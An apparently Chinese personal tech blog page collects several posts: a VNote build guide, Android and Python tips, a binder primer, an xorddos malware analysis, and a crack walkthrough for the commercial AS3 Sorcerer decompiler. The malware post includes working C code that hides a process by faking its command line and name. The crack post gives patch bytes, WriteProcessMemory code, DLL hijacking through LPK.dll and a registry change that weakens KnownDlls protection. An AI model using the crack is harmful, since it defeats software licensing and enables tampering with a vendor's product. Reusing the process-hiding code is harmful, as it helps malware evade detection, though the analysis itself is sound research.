0%

向大家安利一款 markdown 笔记软件, VNote http://t.cn/RXj6L39
此软件目前已经 1300 多个commits 了,做为一个有些开源软件维护经历的人,深感不易。
用了太多 markdown 笔记软件,此软件使得最为顺手,尤其作为程序员 vim 模式 让我感到非常舒服,
大量图表的支持比如 UML 流程图,让我用起来很顺手。

VNote

我前后尝试过各种笔记软件,我理想的软件有几点:

  • a. 支持文件管理
  • b. 不要乱改数据,容易迁移
  • c. 支持 markdown
  • d. 跨平台,支持 Mac 和 Linux

最后,终于发现了 VNote,有点惊喜。在 Linux 下编译 VNote 显示有明显改进,下面是编译的方法:

  1. 下载 QT SDK

https://mirrors4.tuna.tsinghua.edu.cn/qt/official_releases/qt/5.9/5.9.0/qt-opensource-linux-x64-5.9.0.run

将 Qt5.9 安装到 /home/henices/Qt5.9.0/

  1. 编译 fcitx-qt5

git clone https://gitlab.com/fcitx/fcitx-qt5.git

准备编译脚本 build_linux.sh, 指定下载的QT

1
2
3
4
5
6
7
8
9
10
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh

将生成的 libfcitxplatforminputcontextplugin.so copy 到
/home/henices/Qt5.9.0/5.9/gcc_64/plugins/platforminputcontexts/

  1. 获取VNote 源码
1
2
3
git clone https://github.com/tamlok/vnote.git vnote.git
cd vnote.git
git submodule update --init
  1. 编译

build_linux.sh

1
2
3
4
5
6
7
8
9
10
11
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
qmake -v
qmake PREFIX=/usr/local CONFIG-=debug CONFIG+=release ../VNote.pro
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh
  1. 安装

sudo make install

参考链接

https://tamlok.gitee.io/vnote/zh_cn/#!docs/%E5%BC%80%E5%8F%91%E8%80%85/%E6%9E%84%E5%BB%BAVNote.md

一加3T其实和一加5用的是同一块屏幕,网上流传的方法多需要root权限。非root 开启 p3 色域的方法,
连接 adb 输入下面的命令 settings put system screen_color_mode_settings_value 4 实测有效,重启后不失效。

Q:Fedora 31 提供的 Python3.7, 想使用 Python3.8, 用系统的pip3 只会给 Python3.7 安装库,如何解决

A:

1
2
curl -O https://bootstrap.pypa.io/get-pip.py
python3.8 get-pip.py

执行上面命令后,会在 /usr/local/bin/ 下生成和 pip 相关的脚本,把这些脚本删除,要不可能会和系统的 pip3 冲突。
接下来就可以使用下面的命令行安装 Python3.8 的库

python3.8 -m pip install pyhash --user

在安装过程中可能会因为众所周知的原因导致网络出错,备好梯子即可。

进程隐藏

上周由于工作原因接触到xorddos的样本,这个样本在过去一年的时间里非常常见,
变种也很多,拿到的样本比较有趣的是 ps 无法发现进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@localhost ~]# ps -ef  | grep /usr/bin

...

root 4597 4594 0 00:37 ? 00:00:00 gnome-pty-helper
root 4598 4594 0 00:37 pts/1 00:00:00 bash
oracle 5359 1 0 00:41 ? 00:00:00 ora_smco_orcl
oracle 5378 1 0 00:41 ? 00:00:00 ora_w000_orcl
oracle 5586 1 0 00:42 ? 00:00:00 ora_j000_orcl
oracle 5588 1 0 00:42 ? 00:00:00 ora_j001_orcl
root 5666 1 0 00:43 ? 00:00:00 sh
root 5669 1 0 00:43 ? 00:00:00 echo "find"
root 5672 1 0 00:43 ? 00:00:00 ls -la
root 5675 1 0 00:43 ? 00:00:00 bash
root 5678 1 0 00:43 ? 00:00:00 gnome-terminal
root 5683 1 0 00:43 ? 00:00:00 cd /etc
root 5686 1 0 00:43 ? 00:00:00 top
root 5689 1 0 00:43 ? 00:00:00 sh
root 5692 1 0 00:43 ? 00:00:00 gnome-terminal
root 5695 1 0 00:43 ? 00:00:00 ifconfig
root 5696 4598 0 00:43 pts/1 00:00:00 ps -ef

而使用lsof却可以清除地看见样本正在努力地干活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root@localhost ~]# lsof +d /usr/bin
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
hidd 1853 root txt REG 3,1 33708 2467454 /usr/bin/hidd
ckucbzknt 2014 root txt REG 3,1 610331 2459176 /usr/bin/ckucbzkntb
xfs 2143 xfs txt REG 3,1 107460 2468483 /usr/bin/xfs
Xorg 3117 root txt REG 3,1 1890596 2466732 /usr/bin/Xorg
gnome-ses 4073 root txt REG 3,1 129356 2459482 /usr/bin/gnome-session
ssh-agent 4201 root txt REG 3,1 88996 2467513 /usr/bin/ssh-agent
dbus-laun 4245 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-key 4255 root txt REG 3,1 97396 2473617 /usr/bin/gnome-keyring-daemon
metacity 4290 root txt REG 3,1 521080 2464500 /usr/bin/metacity
gnome-pan 4296 root txt REG 3,1 540868 2465177 /usr/bin/gnome-panel
nautilus 4298 root txt REG 3,1 1348932 2461620 /usr/bin/nautilus
gnome-vol 4310 root txt REG 3,1 65240 2464498 /usr/bin/gnome-volume-manager
bt-applet 4334 root txt REG 3,1 30452 2464773 /usr/bin/bt-applet
nm-applet 4352 root txt REG 3,1 312432 2467723 /usr/bin/nm-applet
gnome-pow 4381 root txt REG 3,1 195284 2459473 /usr/bin/gnome-power-manager
pam-panel 4383 root txt REG 3,1 39148 2461862 /usr/bin/pam-panel-icon
dbus-laun 4473 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-scr 4512 root txt REG 3,1 168628 2468487 /usr/bin/gnome-screensaver
gnome-ter 4594 root txt REG 3,1 309368 2464648 /usr/bin/gnome-terminal
gadcgkcqn 4681 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4684 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4687 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4690 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4693 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni

阅读汇编代码,分析具体原因,发现xorddos将一些关键信息加密了,F5处理过的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl encrypt_code(int a1, int a2)
{
signed int v2; // ecx@2

if ( a2 > 0 )
{
v2 = 0;
do
{
*(_BYTE *)(v2 + a1) ^= xorkeys[(((_BYTE)v2 + ((unsigned int)(v2 >> 31) >> 28)) & 0xF)
- ((unsigned int)(v2 >> 31) >> 28)];
++v2;
}
while ( v2 != a2 );
}
return a1;
}

xorkey 为 BB2FA36AAA9541F0

用idapython 写个小脚本,简单处理一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from idautils import *
from idc import *


def get_string(addr):
out = ""
while True:
if Byte(addr) != 0:
out += chr(Byte(addr))
else:
break
addr += 1
return out

def decrypt(data):

xorkey = 'BB2FA36AAA9541F0'
length = len(data)
o = ""
if length > 0:
v2 = 0
while v2 < length:
o += chr( ord(data[v2]) ^ ord(xorkey[((v2 + ((v2 >> 31) >> 28)) & 0xF) - ( (v2 >> 31) >> 28)]) )
v2 += 1

return o

ea = ScreenEA()
string = get_string(ea)
dec = decrypt(string)
print 'Addr: 0x%x, %s' % (ea, dec)
MakeComm(ea, dec)

处理后可以看到伪装的命令行信息,daemonname。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
.data:080CBB40 daemonname      db '!#Ff3VE.-7',17h,'V[_ 0',0 ; DATA XREF: main+31Eo
.data:080CBB40 ; main+4AEo ...
.data:080CBB40 ; cat resolv.conf
.data:080CBB51 align 4
.data:080CBB54 a12 db '1*2',0 ; sh
.data:080CBB58 db 0
.data:080CBB59 db 0
.data:080CBB5A db 0
.data:080CBB5B db 0
.data:080CBB5C db 0
.data:080CBB5D db 0
.data:080CBB5E db 0
.data:080CBB5F db 0
.data:080CBB60 db 0
.data:080CBB61 db 0
.data:080CBB62 db 0
.data:080CBB63 db 0
.data:080CBB64 db 0
.data:080CBB65 db 0
.data:080CBB66 db 0
.data:080CBB67 db 0
.data:080CBB68 db 20h ; bash
.data:080CBB69 db 23h ; #
.data:080CBB6A db 41h ; A
.data:080CBB6B db 2Eh ; .
.data:080CBB6C db 41h ; A
.data:080CBB6D db 0
.data:080CBB6E db 0
.data:080CBB6F db 0
.data:080CBB70 db 0
.data:080CBB71 db 0

...

.data:080CBBB8 db 2Eh ; . ; ls -la
.data:080CBBB9 db 31h ; 1
.data:080CBBBA db 12h
.data:080CBBBB db 6Bh ; k
.data:080CBBBC db 2Dh ; -
.data:080CBBBD db 52h ; R
.data:080CBBBE db 36h ; 6
.data:080CBBBF db 0
.data:080CBBC0 db 0
.data:080CBBC1 db 0
.data:080CBBC2 db 0
.data:080CBBC3 db 0
.data:080CBBC4 db 0
.data:080CBBC5 db 0
.data:080CBBC6 db 0
.data:080CBBC7 db 0
.data:080CBBC8 db 0
.data:080CBBC9 db 0
.data:080CBBCA db 0
.data:080CBBCB db 0
.data:080CBBCC db 36h ; 6 ; top
.data:080CBBCD db 2Dh ; -
.data:080CBBCE db 42h ; B
.data:080CBBCF db 46h ; F
.data:080CBBD0 db 0
.data:080CBBD1 db 0
.data:080CBBD2 db 0

...

呵呵,已经看到 top, ls -al 等信息了,查看daemonname 的交叉引用,发现在main函数
中,到main里看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804AC30 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804AC30 public main
.text:0804AC30 main proc near ; DATA XREF: _start+17o

....

.text:0804AF4E mov ebx, offset daemonname ; "!#Ff3VE.-7\x17V[_ 0"

...

.text:0804AFC2 loc_804AFC2: ; CODE XREF: main+3ABj
.text:0804AFC2 mov [esp], ebx
.text:0804AFC5 add ebx, 14h
.text:0804AFC8 mov dword ptr [esp+4], 14h
.text:0804AFD0 call encrypt_code
.text:0804AFD5 cmp ebx, offset unk_80CBD0C
.text:0804AFDB jnz short loc_804AFC2

这段汇编代码,使用了一个循环,调用encrypt_code 对daemonname进行了解密。
后面的代码,用到了daemonname的地方有下面几处,

第一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0804B29F                 call    getpid
.text:0804B2A4 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B2AC mov dword ptr [esp+4], 0Ah
.text:0804B2B4 mov [esp], esi ;第三形参 pid
.text:0804B2B7 mov [esp+0Ch], eax
.text:0804B2BB call snprintf
.text:0804B2C0 mov dword ptr [esp+4], 17h
.text:0804B2C8 mov dword ptr [esp], 0
.text:0804B2CF call randomid
.text:0804B2D4 mov [esp+8], esi
.text:0804B2D8 mov [esp], edi ;第一形参 要跑的木马
.text:0804B2DB movzx eax, ax
.text:0804B2DE lea eax, [eax+eax*4]
.text:0804B2E1 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B2E8 mov [esp+4], eax ; 第二形参 daemonname
.text:0804B2EC call LinuxExec_Argv2

第二处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B932                 lea     edx, [ebp+var_1888]
.text:0804B938 add ebx, 1
.text:0804B93B mov [esp], edx
.text:0804B93E call randmd5
.text:0804B943 mov [ebp+var_22], 0
.text:0804B94A mov [ebp+var_1E], 0
.text:0804B951 mov [ebp+var_1A], 0
.text:0804B957 call getpid
.text:0804B95C mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B964 mov dword ptr [esp+4], 0Ah
.text:0804B96C mov [esp], esi
.text:0804B96F mov [esp+0Ch], eax
.text:0804B973 call snprintf
.text:0804B978 mov dword ptr [esp+4], 17h
.text:0804B980 mov dword ptr [esp], 0
.text:0804B987 call randomid
.text:0804B98C mov [esp+8], esi
.text:0804B990 movzx eax, ax
.text:0804B993 lea eax, [eax+eax*4]
.text:0804B996 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B99D mov [esp+4], eax
.text:0804B9A1 lea eax, [ebp+var_1888]
.text:0804B9A7 mov [esp], eax
.text:0804B9AA call LinuxExec_Argv2

第三处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B9DF                 lea     edx, [ebp+var_1C88]
.text:0804B9E5 add ebx, 1
.text:0804B9E8 mov [esp], edx
.text:0804B9EB call randmd5
.text:0804B9F0 mov [ebp+var_22], 0
.text:0804B9F7 mov [ebp+var_1E], 0
.text:0804B9FE mov [ebp+var_1A], 0
.text:0804BA04 call getpid
.text:0804BA09 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804BA11 mov dword ptr [esp+4], 0Ah
.text:0804BA19 mov [esp], esi
.text:0804BA1C mov [esp+0Ch], eax
.text:0804BA20 call snprintf
.text:0804BA25 mov dword ptr [esp+4], 17h
.text:0804BA2D mov dword ptr [esp], 0
.text:0804BA34 call randomid
.text:0804BA39 mov [esp+8], esi
.text:0804BA3D movzx eax, ax
.text:0804BA40 lea eax, [eax+eax*4]
.text:0804BA43 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804BA4A mov [esp+4], eax
.text:0804BA4E lea eax, [ebp+var_1C88]
.text:0804BA54 mov [esp], eax
.text:0804BA57 call LinuxExec_Argv2

都是作为LinuxExec_Argv2 参数使用的,接着来看LinuxExec_Argv2 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.text:08048520 LinuxExec_Argv2 proc near               ; CODE XREF: DelService+B3p
.text:08048520 ; DelService+CBlp ...
.text:08048520
.text:08048520 argv = dword ptr -18h
.text:08048520 var_14 = dword ptr -14h
.text:08048520 var_10 = dword ptr -10h
.text:08048520 var_C = dword ptr -0Ch
.text:08048520 var_8 = dword ptr -8
.text:08048520 var_4 = dword ptr -4
.text:08048520 file = dword ptr 8
.text:08048520 arg_4 = dword ptr 0Ch
.text:08048520 arg_8 = dword ptr 10h
.text:08048520
.text:08048520 push ebp
.text:08048521 mov ebp, esp
.text:08048523 sub esp, 28h
.text:08048526 mov [ebp+var_4], esi
.text:08048529 mov esi, [ebp+file]
.text:0804852C mov [ebp+var_8], ebx
.text:0804852F mov [ebp+argv], 0
.text:08048536 mov [ebp+var_14], 0
.text:0804853D mov [ebp+var_10], 0
.text:08048544 mov [ebp+var_C], 0
.text:0804854B call doublefork
.text:08048550 test eax, eax
.text:08048552 jz short ZERO
.text:08048554 mov ebx, [ebp+var_8]
.text:08048557 mov esi, [ebp+var_4]
.text:0804855A mov esp, ebp
.text:0804855C pop ebp
.text:0804855D retn
.text:0804855E ; ---------------------------------------------------------------------------
.text:0804855E
.text:0804855E ZERO: ; CODE XREF: LinuxExec_Argv2+32j
.text:0804855E mov ebx, 3
.text:08048563
.text:08048563 LOOP: ; CODE XREF: LinuxExec_Argv2+54j
.text:08048563 mov [esp], ebx ; fd
.text:08048566 add ebx, 1
.text:08048569 call close
.text:0804856E cmp ebx, 400h ;400h == 1024
.text:08048574 jnz short LOOP
.text:08048576 mov eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
.text:0804857C mov [esp], esi ; file
.text:0804857F mov [ebp+var_14], eax
.text:08048582 mov eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax
.text:08048588 lea eax, [ebp+argv]
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp
.text:08048594 mov dword ptr [esp], 0 ; status
.text:0804859B call exit
.text:0804859B LinuxExec_Argv2 endp

LinuxExec_Argv2 有三个参数。最终执行了execvp

1
2
3
4
.text:0804857C                 mov     [esp], esi      ; file 
...
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp

伪代码为,

1
execvp(file, &argv);

file 就是arg_0, 需要分析argv, 调出栈图就比较清晰了。

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            dd ?                    ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

首先是这句

1
2
3
4
5
6
.text:08048529                 mov     esi, [ebp+file]
...
.text:0804852F mov [ebp+argv], 0
...
.text:08048579 mov [ebp+argv], esi

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                       ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

再看这几句代码

1
2
3
4
.text:08048576                 mov     eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
...
.text:0804857F mov [ebp+var_14], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

接下来是这几句代码

1
2
.text:08048582                 mov     eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 arg_8
-0000000C var_C 0
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?
`

main函数中对LinuxExec_Argv2 的调用的为代码为

1
LinuxExec_Argv2('木马路径', '伪装命令行', pid);

因此最后调用的execvp的伪代码为

1
execvp('木马路径', argv);

将进入 main 函数参数个数为3的流程,用IDA重命名后,关键代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
text:0804B5D3 PARAM_NUM_3:                            ; CODE XREF: main+3CDj

.text:0804B5D3 lea eax, [ebp+var_18]
.text:0804B5D6 mov [esp+4], eax
.text:0804B5DA lea eax, [ebp+self_path]
.text:0804B5E0 mov [esp], eax
.text:0804B5E3 call readfile
.text:0804B5E8 mov edx, [ebp+argv_arr]
.text:0804B5EE mov ebx, [edx+4]
.text:0804B5F1 mov [ebp+self_file_content], eax
.text:0804B5F7 mov [esp], ebx
.text:0804B5FA call strlen
.text:0804B5FF mov [esp+4], ebx
.text:0804B603 mov [esp+8], eax
.text:0804B607 lea eax, [ebp+fake_cmd]
.text:0804B60D mov [esp], eax
.text:0804B610 call memmove
.text:0804B615 mov dword ptr [esp+0Ch], 0
.text:0804B61D mov dword ptr [esp+8], 0Ah
.text:0804B625 mov dword ptr [esp+4], 0
.text:0804B62D mov edx, [ebp+argv_arr]
.text:0804B633 mov eax, [edx+8]
.text:0804B636 mov [esp], eax
.text:0804B639 call __strtol_internal
.text:0804B63E mov esi, eax
.text:0804B640 mov eax, [ebp+argv_arr]
.text:0804B646 mov ebx, [eax]
.text:0804B648 mov [esp], ebx
.text:0804B64B call strlen
.text:0804B650 mov [esp], ebx
.text:0804B653 mov dword ptr [esp+4], 0
.text:0804B65B mov [esp+8], eax
.text:0804B65F call memset
.text:0804B664 mov edx, [ebp+argv_arr]
.text:0804B66A mov ebx, [edx+4]
.text:0804B66D mov [esp], ebx
.text:0804B670 call strlen
.text:0804B675 mov [esp], ebx
.text:0804B678 mov dword ptr [esp+4], 0
.text:0804B680 mov [esp+8], eax
.text:0804B684 call memset
.text:0804B689 mov eax, [ebp+argv_arr]
.text:0804B68F mov ebx, [eax+8]
.text:0804B692 mov [esp], ebx
.text:0804B695 call strlen
.text:0804B69A mov [esp], ebx
.text:0804B69D mov dword ptr [esp+4], 0
.text:0804B6A5 mov [esp+8], eax
.text:0804B6A9 call memset
.text:0804B6AE lea edx, [ebp+fake_cmd]
.text:0804B6B4 mov [esp+4], edx
.text:0804B6B8 mov edx, [ebp+argv_arr]
.text:0804B6BE mov eax, [edx]
.text:0804B6C0 mov [esp], eax
.text:0804B6C3 call strcpy
.text:0804B6C8 lea eax, [ebp+filename]
.text:0804B6CE mov [esp+0Ch], esi
.text:0804B6D2 lea esi, [ebp+randstr_10]

上面代码的原理大致等同于下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
sleep(300);
}

编译后执行可以看到效果和运行样本的一样。

1
2
3
4
5
6
7
8
9
10
11
➜  ~ gcc -o fakeexe exe.c
➜ ~ ./fakeexe "ls -al" 2554

➜ ~ cat /proc/2605/cmdline
ls -al

➜ ~ ls -l /proc/2605/exe
lrwxrwxrwx. 1 henices henices 0 8月 2 12:01 /proc/2605/exe -> /home/henices/research/xorddos/fakeexe

➜ ~ ps -elf | grep "ls -al" | grep -v grep
0 S henices 2605 25307 0 80 0 - 1043 hrtime 12:01 pts/5 00:00:00 ls -al

其实效果并不好,可以轻易发现踪迹。

1
2
3
➜  ~ ps -e | grep fakeexe
2605 pts/9 00:00:00 fakeexe

其实有更好的做法,使用 prctl ,至少可以把ps给搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
prctl(PR_SET_NAME, "bash");
sleep(300);
}

编译执行后可以看到效果。

1
2
3
4
5
6
7
8
➜  ~ ps -e | grep bash
4858 pts/5 00:00:00 bash

➜ ~ cat /proc/4858/cmdline
ls -al

➜ ~ lsof -d txt | grep fakeexe
bash 4858 henices txt REG 253,2 8816 4588423 /home/henices/research/xorddos/fakeexe

xorddos 的多态 (Polymorphic)

xorddos这个样本还值得一提的是,这个样本会不断变化,多态这个词翻译的可能不太准确,
可以参见上面的英文,自行理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl randmd5(char *filename)
{
int fd; // eax@1
int fd_dup; // esi@1
mode_t v4; // [sp+8h] [bp-20h]@0
int addr; // [sp+15h] [bp-13h]@1
int v6; // [sp+19h] [bp-Fh]@1
__int16 v7; // [sp+1Dh] [bp-Bh]@1
char v8; // [sp+1Fh] [bp-9h]@1

addr = 0;
v6 = 0;
v7 = 0;
v8 = 0;
fd = open(filename, 1, v4);
fd_dup = fd;
if ( fd > 0 )
{
lseek(fd, 0, SEEK_END);
randstr((int)&addr, 10);
write(fd_dup, &addr, 11u);
close(fd_dup);
}
return 0;
}

xorddos 样本多态主要就是用这个函数,每次在文件末尾写上10个字节的随机字符。
这样样本md5和大小都会发生变化,使得一些检测方法失效。

其他

正因为这种隐藏方法并不理想,后面xorddos出现了带rootkit的版本,进化了。

AS3 Sorcerer是一款flash action Script的商业反编译软件。 www.as3sorcerer.com

软件为Delphi编写,加了未知壳,使用PEID 0.94无法正确查出,使用核心扫描发现是
Delphi编写,这个软件有一个特点修改一个字节就报错。由于时间原因没有具体跟相关代码。

破解方法使用LPK.dll动态修改as3.exe内存达到破解目前,在Windows Xp下比较完美,
在Windows 7下已经无法通过LPK.dll进行DLL hijack,可以通过DLL注入达到同样的目的。

难点有几个,OD加载报错,attack也报错。使用海风月影的StrongOD可以正常attach。
OD 1.1目前最大的问题是插件冲突严重,安装了OllyAdv后,无法成功加载as3.exe.
遇上强壳时可以使用phantom的protect DRx,可以解决一下问题,总之要尽量避免冲突。
接下来的难点就是如何找到破解的关键点,进行内存patch。

使用OD查找字符串参考Unicode,搜索trial

1
2
3
4
5
006974C2    E8 65ABFDFF     call    0067202C
006974C7 84C0 test al, al
006974C9 75 1C jnz short 006974E7
006974CB B9 E4756900 mov ecx, 006975E4 ; e
006974D0 BA 50766900 mov edx, 00697650 ;Sorry!

这里有个坑,在OD中看到的代码有可能不是最终运行的代码,只有真正在OD里断下,进
入程序领空后,看到的代码才是解密后的真正代码。这里在这里浪费了很多时间。换句
话说就是要先保证能调试起来,能调试能下断点基本就成功了一半。

上面的代码是非常经典的关键代码,主要处理了 0067202C让它返回1就OK了。F7跟进

1
2
3
4
5
6
7
8
0067202C  - E9 EE9D1900     jmp     0080BE1F
00672031 CC int3
00672032 CC int3
00672033 CC int3
00672034 CC int3
00672035 CC int3
00672036 CC int3
00672037 90 nop

进入就去一个jmp,后面的大段跳转非常多,跟踪困难。好在有很多int3,可以自己
写一段汇编代码解决。

1
2
3
4
5
6
7
8
0067202C    33C0            xor     eax, eax
0067202E 83C0 01 add eax, 0x1
00672031 90 nop
00672032 90 nop
00672033 90 nop
00672034 90 nop
00672035 90 nop
00672036 C3 retn

核心代码

1
2
3
4
5
6
7
8
9
10
HANDLE handle = GetModuleHandle(NULL);

int RVA = 0x67202C - 0x400000;
int VA = int(handle) + RVA;

unsigned char p405213[11] = {
0x33, 0xC0, 0x83, 0xC0, 0x01, 0x90, 0x90, 0x90, 0x90, 0x90, 0xC3
};
VirtualProtectEx(hProcess, (LPVOID)VA, 11, PAGE_EXECUTE_READWRITE, &Oldpp);
WriteProcessMemory(hProcess, (LPVOID)VA, p405213, 11, NULL);

GetModuleHandle用于动态获取进程加载基址。

LPK.dll

Windows 7 不能默认已经不能使用LPK.dll,必须导入下面注册表键值,重启电脑
才能使用。

1
2
3
4
5
Windows Registry Editor Version 5.00 

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,\
00,00

1. binder 简介

Android安全模型的一个关键部分是每一个应用程序都被赋予一个唯一的 Linux 用户 ID 和组 ID,运行在自己的进程和 Dalvik 虚拟机里。
在应用程序安装的过程中,Android系统设备上创建一个专门的目录(文件夹),用于存储此应用程序的数据,并且仅允许应用程序利用
Linux 用户 ID 和组 ID 的相应访问权限对这些数据进行访问。此外,此应用程序的 Dalvik 虚拟机使用应用程序的用户 ID 运行在自己的进程中。
这些关键的机制在操作系统层面上强制数据安全,因为应用程序之间不共享内存、访问权限及磁盘存储。应用程序只能在它们自己的 Dalvik 虚拟机范围内访问内存和数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ps
...

u0_a16 2757 882 2574956 116944 SyS_epoll+ 0 S com.google.android.gms.persistent
u0_a128 2774 883 1939084 87720 SyS_epoll+ 0 S com.ss.android.article.news:push
u0_a16 2850 882 2322980 46592 SyS_epoll+ 0 S com.google.process.gapps
u0_a128 2887 883 2190568 181868 SyS_epoll+ 0 S com.ss.android.article.news
u0_a37 2900 882 2430908 58316 SyS_epoll+ 0 S com.google.android.googlequicksearchbox:interactor
nfc 2918 882 2351828 62356 SyS_epoll+ 0 S com.android.nfc
u0_a45 2930 882 2309884 43576 SyS_epoll+ 0 S se.dirac.acs
radio 2945 882 2313144 45592 SyS_epoll+ 0 S net.oneplus.push
u0_a0 2956 882 2304600 36360 SyS_epoll+ 0 S com.oneplus
system 2967 882 2307276 38088 SyS_epoll+ 0 S com.fingerprints.serviceext
system 2985 882 2309992 42044 SyS_epoll+ 0 S com.oneplus.opbugreportlite
u0_a142 2997 882 2370296 93324 SyS_epoll+ 0 S com.oneplus.aod
u0_a16 3018 882 2731976 165828 SyS_epoll+ 0 S com.google.android.gms
...

